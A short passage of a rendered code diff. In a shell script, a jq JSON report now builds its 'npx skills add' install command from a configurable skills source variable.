--argjson updates "$updates" \
|
|
454
|
+
--arg src "$DEFAULT_SKILLS_SOURCE" \
|
|
453
455
|
'{
|
|
454
456
|
timestamp: (now | strftime("%Y-%m-%dT%H:%M:%SZ")),
|
|
455
457
|
status: "success",
|
|
@@ -484,7 +486,7 @@ NOJQ
|
|
|
484
486
|
actions: {
|
|
485
487
|
install_all: (
|
|
486
488
|
if ($recommended | length) > 0
|
|
487
|
-
then "npx skills add
|
|
489
|
+
then "npx skills add " + $src + " --skill " + ([$recommended[].id] | join(" --skill ")) + " -g -a claude-code -y"
|
|
488
490
|
else null
|
|
489
491
|
end
|
|
490
492
|
),
|